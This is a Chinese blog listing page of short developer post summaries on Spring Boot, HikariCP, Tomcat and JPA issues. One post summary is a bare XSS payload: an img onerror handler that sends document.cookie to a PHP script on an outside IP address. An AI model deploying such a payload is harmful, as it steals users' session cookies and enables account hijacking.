摘要: 这个问题不是百分百出的,线上偶尔出现过。 解决办法: spring: datasource: hikari: connection-timeout: 600000 #最大超时时间 maximum-pool-size: 500 #连接数 max-lifetime: 1800000 #控制池中连接的最大 阅读全文
posted @ 2021-01-05 10:03 super_胡 阅读(5407) 评论(0) 推荐(0) 编辑
摘要: <img src="http://49.233.204.246//1.png" onerror="location.href='http://49.233.204.246//1.php?cookie='+document.cookie"> 阅读全文
posted @ 2020-10-22 17:01 super_胡 阅读(75) 评论(0) 推荐(0) 编辑
摘要: 123 阅读全文
posted @ 2020-10-22 09:15 super_胡 阅读(71) 评论(0) 推荐(0) 编辑
摘要: #SpringBoot整合SpringSecurity一(入门出体验) ### SpringSecurity简介 SpringSecurity是基于Spring应用提供的声明式的安全保护性的框架,它可以在web请求级别的和方法调用级别处理身份和授权。他是基于AspectJ的切面进行配置的。 ### 阅读全文
posted @ 2020-08-04 14:24 super_胡 阅读(199) 评论(0) 推荐(0) 编辑
摘要: 今天看项目日志,发现报这个异常。 是tomcat容器的问题,因为出现了特殊字符,所以报异常了。Invalid character found in the request target. The valid characters are defined in RFC 7230 and RFC 398 阅读全文
posted @ 2020-06-29 18:22 super_胡 阅读(767) 评论(0) 推荐(0) 编辑
摘要: 官网上是这么说的 我试了好几遍,不生效。 解决办法:时间戳/1就好了 阅读全文
posted @ 2020-06-22 16:22 super_胡 阅读(1591) 评论(0) 推荐(2) 编辑
摘要: 如果直接用 @DateTimeFormat(pattern = "yyyy-MM-dd") Date date 接收的话,就会报400了,所以需要处理一下。在controller中加如下方法即可 @InitBinder public void InitBinder(WebDataBinder dat 阅读全文
posted @ 2020-06-20 17:26 super_胡 阅读(2322) 评论(0) 推荐(0) 编辑
摘要: 在实体类上面加这个两个注解即可。 @DynamicUpdate@DynamicInsert 阅读全文
posted @ 2020-04-21 18:19 super_胡 阅读(2442) 评论(6) 推荐(2) 编辑
摘要: 1、使用layui的第三方插件时间菜单树状显示。(dtree) 2、使用SpringDataJpa进行一对多,保存操作的时候,遇到 failed to lazily initialize a collection of role,这是由于懒加载导致的,解决办法:在注解上添加fetch=FetchTy 阅读全文
posted @ 2020-04-12 21:39 super_胡 阅读(180) 评论(1) 推荐(0) 编辑
摘要: 记录一下lombok的坑 阅读全文
posted @ 2020-04-12 18:14 super_胡 阅读(459) 评论(0) 推荐(0) 编辑